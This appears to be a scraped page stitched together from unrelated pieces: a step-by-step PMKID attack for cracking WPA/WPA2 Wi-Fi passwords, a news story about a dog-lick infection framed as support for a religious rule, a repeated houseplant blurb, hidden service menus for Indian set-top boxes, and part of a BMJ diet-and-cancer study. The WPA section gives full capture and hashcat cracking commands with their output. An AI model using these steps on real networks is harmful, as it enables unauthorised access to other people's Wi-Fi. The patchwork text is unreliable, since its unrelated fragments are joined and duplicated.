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New attack on WPA/WPA2 using PMKID

In this writeup, I’ll describe a new technique to crack WPA PSK (Pre-Shared Key) passwords.

In order to make use of this new attack you need the following tools:

This attack was discovered accidentally while looking for new ways to attack the new WPA3 security standard. WPA3 will be much harder to attack because of its modern key establishment protocol called “Simultaneous Authentication of Equals” (SAE).

The main difference from existing attacks is that in this attack, capture of a full EAPOL 4-way handshake is not required. The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.

At this time, we do not know for which vendors or for how many routers this technique will work, but we think it will work against all 802.11i/p/q/r networks with roaming functions enabled (most modern routers).

The main advantages of this attack are as follow:

  • No more regular users required – because the attacker directly communicates with the AP (aka “client-less” attack)
  • No more waiting for a complete 4-way handshake between the regular user and the AP
  • No more eventual retransmissions of EAPOL frames (which can lead to uncrackable results)
  • No more eventual invalid passwords sent by the regular user
  • No more lost EAPOL frames when the regular user or the AP is too far away from the attacker
  • No more fixing of nonce and replaycounter values required (resulting in slightly higher speeds)
  • No more special output format (pcap, hccapx, etc.) – final data will appear as regular hex encoded string

Attack details:

The RSN IE is an optional field that can be found in 802.11 management frames. One of the RSN capabilities is the PMKID.

[Image: wireshark_pmkid.png]

The PMKID is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label “PMK Name”, the access point’s MAC address and the station’s MAC address.


Since the PMK is the same as in a regular EAPOL 4-way handshake this is an ideal attacking vector.

We receive all the data we need in the first EAPOL frame from the AP.

How to reproduce:

1. Run hcxdumptool to request the PMKID from the AP and to dump the recieved frame to a file (in pcapng format).

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status


Quote:start capturing (stop with ctrl+c)
INTERFACE:……………: wlp39s0f3u4u5
FILTERLIST……………: 0 entries
MAC CLIENT……………: 89acf0e761f4 (client)
MAC ACCESS POINT………: 4604ba734d4e (start NIC)
EAPOL TIMEOUT…………: 20000
ANONCE……………….: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

If an AP recieves our association request packet and supports sending PMKID we will see a message “FOUND PMKID” after a moment:

Quote:[13:29:57 – 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 – 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 – 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

Note: Based on the noise on the wifi channel it can take some time to recieve the PMKID. We recommend running hcxdumptool up to 10 minutes before aborting.

2. Run hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat.

$ ./hcxpcaptool -z test.16800 test.pcapng


Quote:start reading from test.pcapng

file name………………..: test.pcapng
file type………………..: pcapng 1.0
file hardware information….: x86_64
file os information……….: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type……………..: DLT_IEEE802_11_RADIO (127)
endianess………………..: little endian
read errors………………: flawless
packets inside……………: 66
skipped packets…………..: 0
packets with FCS………….: 0
beacons (with ESSID inside)..: 17
probe requests……………: 1
probe responses…………..: 11
association requests………: 5
association responses……..: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)…: 1
EAPOL packets…………….: 14
EAPOL PMKIDs……………..: 1

1 PMKID(s) written to test.16800

The content of the written file will look like this:


The columns are the following (all hex encoded):

  • MAC AP
  • MAC Station

Note: While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.

  • -E retrieve possible passwords from WiFi-traffic (additional, this list will include ESSIDs)
  • -I retrieve identities from WiFi-traffic
  • -U retrieve usernames from WiFi-traffic
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. Run hashcat to crack it.

Basically we can attack this hash as any other hash type. The hash-mode that we need to use is 16800.

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'


Quote:hashcat (v4.2.0) starting…

OpenCL Platform #1: NVIDIA Corporation
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c


Session……….: hashcat
Status………..: Cracked
Hash.Type……..: WPA-PMKID-PBKDF2
Hash.Target……: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf…a39f3a
Time.Started…..: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated…: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask…….: ?l?l?l?l?l?lt! [8]
Guess.Queue……: 1/1 (100.00%)
Speed.Dev.#1…..:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2…..:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3…..:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4…..:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*…..:  1641.3 kH/s
Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress………: 66846720/308915776 (21.64%)
Rejected………: 0/66846720 (0.00%)
Restore.Point….: 0/11881376 (0.00%)
Candidates.#1….: hariert! -> hhzkzet!
Candidates.#2….: hdtivst! -> hzxkbnt!
Candidates.#3….: gnxpwet! -> gwqivst!
Candidates.#4….: gxhcddt! -> grjmrut!
HWMon.Dev.#1…..: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2…..: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3…..: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4…..: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

There’s also support for hash-mode 16801, which allows skipping the computation of the PMK – which is the computation that makes cracking WPA so slow. Pre-computing PMK can be useful in cases where you are on site and you cannot transfer a hash to a remote cracking rig because of an NDA. The goal is to run hashcat on your notebook which you can bring to the site.

The mode 16801 expects a list of pre-computed PMKs, as hex encoded strings of length 64, as the input wordlist. To pre-compute the PMKs you can use the hcxkeys tool. The hcxkeys tools require the ESSID, so you need to ask for the ESSID from your client in advance.


This is one of the reasons why a dogs saliva is deemed unclean in Islam

How a Lick from a Dog Led to a Man’s Leg and Arm Amputations

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How a Lick from a Dog Led to a Man's Leg and Arm Amputations


Credit: Shutterstock

A 48-year-old man from Wisconsin recently contracted a rare blood infection that led to the amputation of his legs and parts of his arms, according to news reports. And the most likely source of the devastating infection was his own dog.

Greg Manteufel went to the hospital with what he thought was the flu, local news outlet Fox 6 Now reported yesterday (July 30). But within a week, the doctors had to amputate both of his legs and, later, portions of his hands and forearms. The amputations were necessary after the infection caused Manteufel’s blood pressure to drop drastically, which severely reduced blood flow to his limbs and led to tissue death.

Blood tests revealed that Manteufel’s infection was caused by a bacterium called Capnocytophaga, according to Fox 6 Now. [11 Ways Your Beloved Pet May Make You Sick]


These bacteria are found in the mouths of cats and dogs, according to the Centers for Disease Control and Prevention (CDC). Up to 74 percent of dogs and 57 percent of cats have Capnocytophaga, but the bacteria don’t cause illness in dogs and cats, the CDC says.

In humans, however, it’s a different story. In very rare cases, the bacteria can spread to humans through bites, scratches or close contact with cats and dogs. The people most at risk for this infection are those with weakened immune systems, according to the CDC. (It’s unclear if Manteufel had a weakened immune system).

If a person becomes infected with Capnocytophaga, the bacteria can spread to the bloodstream and cause infections in various parts of the body, including a blood infection known as sepsis. Sepsis occurs when the immune system responds overwhelmingly to an infection, triggering body-wide inflammation and, potentially, organ failure.

Most people who get sick with the bacteria typically start experiencing symptoms within three to five days of becoming infected, but symptoms may occur anywhere from one to 14 days after infection, according to the CDC. Symptoms include blisters, redness, swelling, pus or pain around the animal bite location (if a bite was involved), fever, diarrhea, headache, vomiting and muscle or joint pain.

As in Manteufel’s case, the infection can sometimes lead to gangrene, or tissue death, and require amputations to save the rest of the body.

Dr. Silvia Munoz-Price, an infectious-disease specialist with Froedtert & the Medical College of Wisconsin told Fox 6 Now that the case is extremely rare. “More than 99 percent of the people that have dogs will never have this issue. It’s just chance,” she said.

Originally published on Live Science.

Curtiss Kick Starts a New Trend in Electric Motocycles

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A Few Interesting Indoor House Plants

Even those without a green thumb can appreciate the beauty of houseplants – if you’re one of those people, this post is for you! We’ve compiled information on 32 low-maintenance plants ranging from tiny succulents all the way to small trees, something for every skill level. This outdoorsy touch is a great way to boost mood, add color to your interior, and build up gardening skill. Many people even enjoy keeping houseplants to purify the air, but it’s important to consider some important caveats to that NASA study everyone keeps mentioning about – with that in mind, this list focuses on attractive aesthetics and easy maintenance only. Enjoy the search!

Hidden Secret Service Menu in Tata Sky and Airtel Digital TV DTH Set Top Box



We love finding hidden secret service menus and codes for electronic gadgets such as mobile phones, TVs, etc. We have shared service codes for Google Android mobile phones, Samsung Wave Bada OS mobile phones, Chinese mobile phones and Samsung and LG TVs in past and now its turn of DTH set top box.

There are many DTH (Direct To Home) service providers in India such as Tata Sky, Dish TV, Airtel Digital TV (ADTV), Reliance Big TV, Sun Direct, Videocon D2H and DD Direct+. Among all these companies, Tata Sky is the most popular DTH service provider in India.

Tata Sky provides normal SD channels along with a few HD channels to its customers. It also provides DVR service which allows you to record and pause the live television programs.

Tats Sky uses Sky brand of British Sky Broadcasting so Sky DTH users and Tata Sky DTH users enjoy almost the same set top boxes provided by the companies.

Now the question comes why are we telling you all these things? It’s because today in this article, we are going to share a hidden secret service menu and secret service code for Tata Skyand Airtel Digital TV set top box.

DISCLAIMER: This information is intended for experienced users. Please do not try any of following methods if you are not familiar with set top boxes. We’ll not be responsible for the use or misuse of this information, including loss of data or hardware damage. So use it at your own risk.

The secret service menu present in Tata Sky and Airtel Digital TV DTH set top box can be used to setup the LNB, signal type, format the hard disk, master reset and much more.

And the secret service code can be used to reinstall or upgrade the set top box firmware or software.

1. Hidden Secret Service Menu in Tata Sky and Airtel Digital TV DTH Set Top Box

All Tata Sky and Airtel Digital TV set top boxes come with this hidden menu to be used by engineers to fix the set top box in case you face problems while accessing TV channels, etc.

To access this secret menu, you can follow these simple steps:

1. Switch on set top box and press “Organiser” (or Settings button in new remotes) button on your Tata Sky remote. Airtel Digital TV users press “Menu -> My Settings“.

2. Now select “System Settings” menu in Tata Sky. Airtel Digital TV users select “System Setup” option.

3. Now the tricky part comes. Press “0” and “1” buttons and then press “Select” button on your Tata Sky remote.

Airtel Digital TV users press following 5 buttons in sequence: Red, <, Green, > and Yellow button.

So basically for Tata Sky users the combination is: Organiser/Settings -> System Settings -> 0+1 -> Select

For Airtel Digital TV users the combination is: Menu -> My Settings -> System Setup -> Red+<+Green+>+Yellow button

4. That’s it. It’ll bring the hidden service menu “Installer Setup” on your screen which shows following options:

  • Format Disk
  • LNB Setup / Satellite Settings
  • RF Outlets
  • Manual Tuning
  • Remote TV
  • Modem Setup
  • Master Reset

Tata Sky SD Set Top Box Service Menu:


Tata Sky HD Set Top Box Service Menu:


Be very careful while accessing these options. You can format the hard disk using the “Format Disk” option. You can select LNB type, frequency and other parameters using “LNB Setup” option. “RF Outlets” option can be used to customize channel number for UHF/VHF output.

Manual Tuning” option is given to customize signal type but it’ll require expertise and knowledge of dish antennas, etc.

You can restore your Tata Sky set top box to factory default settings using “Master Reset” option. Keep in mind it’ll remove your favorites channels and saved preferences. But it’ll not delete your recorded TV programs.

Master Reset” option can be used if you are having problems with your set top box such as not receiving enough signals, poor picture or sound quality, etc.

NOTE: This method will work for all Tata Sky and Airtel Digital TV set top boxes whether its normal SD box, HD box or HD+ box. This method should also work for Sky set top boxes, not checked.

2. Hidden Secret Service Code for Tata Sky and Airtel DTH Set Top Box

If you notice that your set top box is not providing picture or sound of a particular channel or you face other kind of annoying problems with your Tata Sky or Airtel DTH set top box, you can try a secret way to reinstall or upgrade your set top box firmware (or software).

Most of the times the firmware is automatically updated by Tata Sky and Airtel via its satellite but you can manually try to reinstall or update the firmware using following steps:

1. Start your set top box from mains and wait for the “Please Wait Initializing…” message on screen.

2. As soon as you see the message, quickly press “Back” button 2 times and then press 2 4 6 5buttons on your remote.

If the above method doesn’t work, you can try to press “Back” button 4 times and then press 2 4 8 5 buttons on your remote.

OR press “Back” button 2 times and then press 2 4 8 5 buttons on your remote.

NOTE for Airtel DTH users: You might need to press Exit button instead of Back button.

3. If you press the buttons on time, you’ll be greeted by the “DVB SSU+ LOADER” screen and your set top box will start downloading and installing the latest firmware.


4. Do not try to switch off the set top box during the process, it might damage your box. The software installation might take a few minutes to complete.

NOTE 1: This method will work for all Tata Sky and Airtel Digital TV set top box whether its normal SD box, HD box or HD+ box. It should also work for Sky set top boxes, not checked. This method also works on MSO/cable operator’s Set Top Box such as DEN, etc.

NOTE 2: If you have the new Tata Sky HD+ Transfer set top box, above mentioned steps will not work for you. To overcome this problem, you’ll need to first put the remote into “Learning Mode” by pressing Back and number 2 buttons simultaneously for a few seconds. Then restart STB and follow the above instructions. Or you can use an old remote of any previous HD STB to manually update firmware of Transfer STB.

3. One More Hidden Secret Service Code for Tata Sky and Airtel DTH Set Top Box

This secret code will allow you to modify advanced set top box parameters such as frequency, modulation type, etc at boot time. It might become useful if you can’t access STB menu options.

1. First of all you need to follow the same Steps 1 and 2 as mentioned above in Method 2.

2. After pressing the mentioned buttons on your remote, if you immediately press “Info” button on your remote, it’ll open a hidden secret “Advanced Setup-up” menu which allows you to edit lots of advanced options of your set top box such as modulation system, frequency, symbol rate, FEC, polarization, etc.


Indoor Plants

Beautiful Indoor House Plants That Are Also Easy To Maintain


Even those without a green thumb can appreciate the beauty of houseplants – if you’re one of those people, this post is for you! We’ve compiled information on 32 low-maintenance plants ranging from tiny succulents all the way to small trees, something for every skill level. This outdoorsy touch is a great way to boost mood, add color to your interior, and build up gardening skill. Many people even enjoy keeping houseplants to purify the air, but it’s important to consider some important caveats to that NASA study everyone keeps mentioning about – with that in mind, this list focuses on attractive aesthetics and easy maintenance only. Enjoy the search!

Consumption of ultra-processed foods and cancer risk: results from NutriNet-Santé prospective cohort

Consumption of ultra-processed foods and cancer risk: results from NutriNet-Santé prospective cohort

BMJ 2018360 doi: (Published 14 February 2018)Cite this as: BMJ 2018;360:k322

  1. Thibault Fiolet, epidemiology and biostatistics master intern1,
  2. Bernard Srour, pharmacist, PhD candidate in epidemiology1,
  3. Laury Sellem, nutrition and public health master intern1,
  4. Emmanuelle Kesse-Guyot, senior researcher in nutritional epidemiology1,
  5. Benjamin Allès, junior researcher in nutritional epidemiology1,
  6. Caroline Méjean, senior researcher in nutritional epidemiology2,
  7. Mélanie Deschasaux, post-doctoral researcher in nutritional epidemiology1,
  8. Philippine Fassier, post-doctoral researcher in nutritional epidemiology1,
  9. Paule Latino-Martel, nutrition and public health master intern1,
  10. Marie Beslay, senior researcher in nutritional epidemiology1,
  11. Serge Hercberg, professor of nutrition and public health, head of the EREN team4,
  12. Céline Lavalette, epidemiology and biostatistics master intern1,
  13. Carlos A Monteiro, professor of nutrition and public health3,
  14. Chantal Julia, senior researcher in nutritional epidemiology4,
  15. Mathilde Touvier, senior researcher in nutritional epidemiology, head of the nutrition and cancer group at EREN1

Author affiliations

  1. Correspondence to: B Srour
  • Accepted 10 January 2018


Objective To assess the prospective associations between consumption of ultra-processed food and risk of cancer.

Design Population based cohort study.

Setting and participants 104 980 participants aged at least 18 years (median age 42.8 years) from the French NutriNet-Santé cohort (2009-17). Dietary intakes were collected using repeated 24 hour dietary records, designed to register participants’ usual consumption for 3300 different food items. These were categorised according to their degree of processing by the NOVA classification.

Main outcome measures Associations between ultra-processed food intake and risk of overall, breast, prostate, and colorectal cancer assessed by multivariable Cox proportional hazard models adjusted for known risk factors.

Results Ultra-processed food intake was associated with higher overall cancer risk (n=2228 cases; hazard ratio for a 10% increment in the proportion of ultra-processed food in the diet 1.12 (95% confidence interval 1.06 to 1.18); P for trend<0.001) and breast cancer risk (n=739 cases; hazard ratio 1.11 (1.02 to 1.22); P for trend=0.02). These results remained statistically significant after adjustment for several markers of the nutritional quality of the diet (lipid, sodium, and carbohydrate intakes and/or a Western pattern derived by principal component analysis).

Conclusions In this large prospective study, a 10% increase in the proportion of ultra-processed foods in the diet was associated with a significant increase of greater than 10% in risks of overall and breast cancer. Further studies are needed to better understand the relative effect of the various dimensions of processing (nutritional composition, food additives, contact materials, and neoformed contaminants) in these associations.

Study registration NCT03335644.


Cancer represents a major worldwide burden, with 14.1 million new cases diagnosed in 2012.1 According to the World Cancer Research Fund/American Institute for Cancer Research, about a third of the most common neoplasms could be avoided by changing lifestyle and dietary habits in developed countries.2 Therefore, reaching a balanced and diversified diet (along with avoidance of tobacco use and reduction in alcohol intake) should be considered one of the most important modifiable risk factors in the primary prevention of cancer.3

At the same time, during the past decades, diets in many countries have shifted towards a dramatic increase in consumption of ultra-processed foods.45678 After undergoing multiple physical, biological, and/or chemical processes, these food products are conceived to be microbiologically safe, convenient, highly palatable, and affordable.910 Several surveys (in Europe, the US, Canada, New Zealand, and Brazil) assessing individual food intake, household food expenses, or supermarket sales have suggested that ultra-processed food products contribute to between 25% and 50% of total daily energy intake.101112131415161718

This dietary trend may be concerning and deserves investigation. Several characteristics of ultra-processed foods may be involved in causing disease, particularly cancer. Firstly, ultra-processed foods often have a higher content of total fat, saturated fat, and added sugar and salt, along with a lower fibre and vitamin density.101112131415161719Beyond nutritional composition, neoformed contaminants, some of which have carcinogenic properties (such as acrylamide, heterocyclic amines, and polycyclic aromatic hydrocarbons), are present in heat treated processed food products as a result of the Maillard reaction.20 Secondly, the packaging of ultra-processed foods may contain some materials in contact with food for which carcinogenic and endocrine disruptor properties have been postulated, such as bisphenol A.21 Finally, ultra-processed foods contain authorised,22 but controversial, food additives such as sodium nitrite in processed meat or titanium dioxide (TiO2, white food pigment), for which carcinogenicity has been suggested in animal or cellular models.2324

Studying potential effects on health of ultra-processed foods is a very recent field of research, facilitated by the development of the NOVA classification of products according to their degree of food processing.9 Nevertheless, epidemiological evidence linking intake of ultra-processed food to risk of disease is still very scarce and mostly based on cross sectional and ecological studies.252627 The few studies performed observed that ultra-processed food intake was associated with a higher incidence of dyslipidaemia in Brazilian children and higher risks of overweight, obesity, and hypertension in a prospective cohort of Spanish university students.282930

To our knowledge, this prospective study was the first to evaluate the association between the consumption of ultra-processed food products and the incidence of cancer, based on a large cohort study with detailed and up to date assessment of dietary intake.


Study population

The NutriNet-Santé study is an ongoing web based cohort launched in 2009 in France with the objective of studying the associations between nutrition and health, as well as the determinants of dietary behaviours and nutritional status. This cohort has been previously described in detail.31 Briefly, participants aged over 18 years with access to the internet have been continuously recruited from among the general population since May 2009 by means of vast multimedia campaigns. All questionnaires are completed online using a dedicated website ( Participants are followed using an online platform connected to their email address. They can change their email address, phone number, or postal address at any time on the NutriNet-Santé website. Newsletters and alerts about new questionnaires are sent by email. In case of an “undelivered email” problem, participants are contacted by telephone and then by regular mail. The NutriNet-Santé study is conducted according to the Declaration of Helsinki guidelines, and electronic informed consent is obtained from each participant.

Data collection

At inclusion, participants completed a set of five questionnaires related to sociodemographic and lifestyle characteristics (for example, date of birth, sex, occupation, educational level, smoking status, number of children),32 anthropometry (height, weight), dietary intakes (see below),3334 physical activity (validated seven day International Physical Activity Questionnaire (IPAQ)),35 and health status (personal and family history of diseases, drug use including use of hormonal treatment for menopause and oral contraceptives, and menopausal status).

Participants were invited to complete a series of three non-consecutive, validated, web based 24 hour dietary records every six months (to vary the season of completion), randomly assigned over a two week period (two weekdays and one weekend day).363738 To be included in the nutrition component of the NutriNet-Santé cohort, only two dietary records were mandatory. We did not exclude participants if they did not complete all optional questionnaires. We averaged mean dietary intakes from all the 24 hour dietary records available during the first two years of each participant’s follow-up and considered these as baseline usual dietary intakes in this prospective analysis. The NutriNet-Santé web based, self administered 24 hour dietary records have been tested and validated against an interview by a trained dietitian and against blood and urinary biomarkers.3637 Participants used the dedicated web interface to declare all food and drinks consumed during a 24 hour period for each of the three main meals (breakfast, lunch, dinner) and any other eating occasion. Portion sizes were estimated using previously validated photographs or usual containers.39 We identified dietary under-reporting on the basis of the method proposed by Black, using the basal metabolic rate and Goldberg cut-off, and excluded under-reporters of energy intake.40 We calculated mean daily alcohol, micronutrient and macronutrient, and energy intake by using the NutriNet-Santé food composition database, which contains more than 3300 different items.41 We estimated amounts consumed from composite dishes by using French recipes validated by nutrition professionals. Sodium intake was assessed via a specific module included in the 24 hour records, taking into account native sodium in foods, salt added during the cooking, and salt added on the plate. It has been validated against sodium urinary excretion biomarkers.37

Degree of food processing

We categorised all food and drink items of the NutriNet-Santé composition table into one of the four food groups in NOVA, a food classification system based on the extent and purpose of industrial food processing.94243 This study primarily focused on the “ultra-processed foods” NOVA group. This group includes mass produced packaged breads and buns; sweet or savoury packaged snacks; industrialised confectionery and desserts; sodas and sweetened drinks; meat balls, poultry and fish nuggets, and other reconstituted meat products transformed with addition of preservatives other than salt (for example, nitrites); instant noodles and soups; frozen or shelf stable ready meals; and other food products made mostly or entirely from sugar, oils and fats, and other substances not commonly used in culinary preparations such as hydrogenated oils, modified starches, and protein isolates. Industrial processes notably include hydrogenation, hydrolysis, extruding, moulding, reshaping, and pre-processing by frying. Flavouring agents, colours, emulsifiers, humectants, non-sugar sweeteners, and other cosmetic additives are often added to these products to imitate sensorial properties of unprocessed or minimally processed foods and their culinary preparations or to disguise undesirable qualities of the final product.

The ultra-processed food group is defined by opposition to the other NOVA groups: “unprocessed or minimally processed foods” (fresh, dried, ground, chilled, frozen, pasteurised, or fermented staple foods such as fruits, vegetables, pulses, rice, pasta, eggs, meat, fish, or milk), “processed culinary ingredients” (salt, vegetable oils, butter, sugar, and other substances extracted from foods and used in kitchens to transform unprocessed or minimally processed foods into culinary preparations), and “processed foods” (canned vegetables with added salt, sugar coated dried fruits, meat products preserved only by salting, cheeses, freshly made unpackaged breads, and other products manufactured with the addition of salt, sugar, or other substances of the “processed culinary ingredients” group). As previously described,44 we identified homemade and artisanal food preparations, decomposed them using standardised recipes, and applied the NOVA classification to their ingredients. Precision and examples are shown in appendix 1.

Case ascertainment

Participants self declared health events through the yearly health status questionnaire, through a specific check-up questionnaire for health events (every three months), or at any time through a specific interface on the study website. For each incident cancer declared, a physician from the study team contacted participants and asked them to provide any relevant medical records. If necessary, the study physicians contacted the patient’s physician and/or hospitals to collect additional information. Afterwards, an expert committee of physicians reviewed all medical data. Our research team was the first in France to obtain the authorisation by decree in the Council of State (No 2013-175) to link data from our cohorts to medico-administrative databases of the national health insurance system (SNIIRAM databases). We therefore completed declared health events with the information from these databases, thereby limiting any potential bias due to participants with cancer who may not report their disease to the study investigators. Lastly, we used an additional linkage to the French national cause specific mortality registry (CépiDC) to detect deaths and potentially missed cases of cancer for deceased participants. We classified cancer cases by using the international classification of diseases, 10th revision (ICD-10). In this study, we considered all first primary cancers diagnosed between the inclusion date and 1 January 2017 to be cases, except for basal cell skin carcinoma, which we did not consider as cancer.

We obtained medical records for more than 90% of cancer cases. Because of the high validity of self reports (95% of self reported cancers for which a medical record was obtained were confirmed by our physicians), we included as cases all participants who self reported incident cancers, unless they were identified as non-case participants by a pathology report, in which case we classified them as non-cases.

Statistical analysis

Up to 1 January 2017, we included 104 980 participants without cancer at baseline who provided at least two valid 24 hour dietary records during their two first years of follow-up. The flowchart is in appendix 2. For each participant, we calculated the proportion (percentage g/day) of ultra-processed foods in the total diet. We determined the proportion of ultra-processed foods in the diet by calculating a weight ratio rather than an energy ratio to take into account processed foods that do not provide any energy (in particular artificially sweetened drinks) and non-nutritional factors related to food processing (for example, neoformed contaminants, food additives, and alterations to the structure of raw foods). For all covariates except physical activity, less than 5% of values were missing and were imputed to the modal value (for categorical variables) or to the median (for continuous variables). Corresponding values are provided in the footnote to table 1. The proportion of missing values was higher for physical activity (14%), as the answers to all IPAQ questions were needed to calculate the score. To avoid massive imputation for a non-negligible number of participants or exclusion of those with missing data and risk of selection bias, we included a missing class into the models for this variable. We examined differences in participants’ baseline characteristics between sex specific quarters of the proportion of ultra-processed food in the diet by using analysis of variance or χ2 tests wherever appropriate. We used Cox proportional hazards models with age as the primary timescale to evaluate the association between the proportion of ultra-processed foods in the diet (coded as a continuous variable or as sex specific quarters) and incidence of overall, breast, prostate, and colorectal cancer. In these models, cancers at other locations than the one studied were censored at the date of diagnosis (that is, we considered them to be non-cases for the cancer of interest and they contributed person years until the date of diagnosis of their cancer). We estimated hazard ratios and 95% confidence intervals with the lowest quarter as the reference category. We generated log-log (survival) versus log-time plots to confirm risk proportionality assumptions. We tested for linear trend by using the ordinal score on sex specific quarters of ultra-processed food. Participants contributed person time until the date of diagnosis of cancer, the date of last completed questionnaire, the date of death, or 1 January 2017, whichever occurred first. Breast cancer analyses were additionally stratified by menopausal status. For these, women contributed person time to the “premenopause model” until their age at menopause and to the “postmenopause model” from their age at menopause. We determined age at menopause by using the yearly health status questionnaires completed during follow-up.

Table 1 

Baseline characteristics of study population according to sex specific quarters of ultra-processed food consumption (n=104 980), NutriNet-Santé cohort, France, 2009-17*. Values are numbers (percentages) unless stated otherwise


Models were adjusted for age (timescale), sex, body mass index (kg/m2, continuous), height (cm, continuous), physical activity (high, moderate, low, calculated according to IPAQ recommendations35), smoking status (never or former smokers, current smokers), number of 24 hour dietary records (continuous), alcohol intake (g/d, continuous), energy intake (without alcohol, kcal/d, continuous), family history of cancer (yes/no), and educational level (less than high school degree, less than two years after high school degree, two or more years after high school degree). For breast cancer analyses, we made additional adjustments for the number of biological children (continuous), menopausal status at baseline (menopausal/perimenopausal/non-menopausal), hormonal treatment for menopause at baseline (for postmenopausal analyses, yes/no), and oral contraception use at baseline (for premenopausal analyses, yes/no) (model 1=main model). To test for the potential influence of the nutritional quality of the diet in the relation between intake of ultra-processed food and risk of cancer, this model was additionally adjusted for lipid, sodium, and carbohydrate intakes (model 2), for a Western dietary pattern derived from principal component analysis (model 3) (details in appendix 3), or for all these nutritional factors together (model 4). In addition, we did mediation analyses according to the method proposed by Lange et al to evaluate the direct and indirect effect of the relation between the exposure and the outcome through the following nutritional mediators: intakes of sodium, total lipids, saturated, mono-unsaturated and poly-unsaturated fatty acids, carbohydrates, and a Western-type dietary pattern.45 The methods are described in appendix 4.

We did sensitivity analyses based on model 1 by excluding cases of cancer diagnosed during the first two years of each participant’s follow-up to avoid reverse causality bias, testing sex specific fifths of the proportion of ultra-processed foods in the diet instead of sex specific quarters, and testing further adjustments for prevalent depression at baseline (yes/no), dietary supplement use at baseline (yes/no), healthy dietary pattern (continuous, details in appendix 3), number of cigarettes smoked in pack years (continuous), overall fruit and vegetable consumption (continuous), and season of inclusion in the cohort (spring/summer/autumn/winter). We also investigated the association between ultra-processed food and overall cancer risk separately in different strata of the population: men, women, younger adults (under 40 years), older adults (40 years or over), smokers, non-smokers, participants with a high level of physical activity, and those with a low to moderate level of physical activity. We also tested models after restriction of the study population to the participants with at least six 24 hour dietary records during the first two years of follow-up. Similarly, we tested models including all participants with at least one 24 hour dietary record during the first two years of follow-up. We also tested associations between the quantity (g/d) of each ultra-processed food group and risk of cancer.

Secondary analyses tested the associations between the proportion in the diet of each of the three other NOVA categories of food processing (continuous) and risk of cancer, using multivariate Cox models adjusted for model 1 covariates. All tests were two sided, with P<0.05 considered to be statistically significant. We used SAS version 9.4 for the analyses.

Patient involvement

The research question developed in this article corresponds to a strong concern of the participants involved in the NutriNet-Santé cohort and of the public in general. The results of this study will be disseminated to the NutriNet-Santé participants through the cohort website, public seminars, and a press release.


A total of 104 980 participants (22 821 (21.7%) men and 82 159 (78.3%) women) were included in the study. The mean age of participants was 42.8 (SD 14.8, range 18.0-72.8) years. The mean number of dietary records per participant over their first two years of follow-up was 5.4 (SD 2.9); the minimum was 2, but it represented only 7.2% (7558/104 980) of the participants. After the launching of the study by the end of May 2009, half of the records were filled between June and November and the other half between December and May. Table 1 shows the main baseline characteristics of participants according to quarters of the proportion of ultra-processed foods in the diet. Compared with the lowest quarter, participants in the highest quarter of ultra-processed food intake tended to be younger, current smokers, and less educated, with less family history of cancer and a lower physical activity level. Furthermore, they had higher intakes of energy, lipids, carbohydrates, and sodium, along with lower alcohol intake. Although there was a higher proportion of women than men in this cohort, the contribution of ultra-processed foods to the overall diet was very similar between men and women (18.74% for men and 18.71% for women; P=0.7). The distribution of the proportion of ultra-processed food in the diet in the study population is shown in appendix 5. Main food groups contributing to ultra-processed food intake were sugary products (26%) and drinks (20%), followed by starchy foods and breakfast cereals (16%) and ultra-processed fruits and vegetables (15%) (fig 1).

Fig 1

Relative contribution of each food group to ultra-processed food consumption in diet


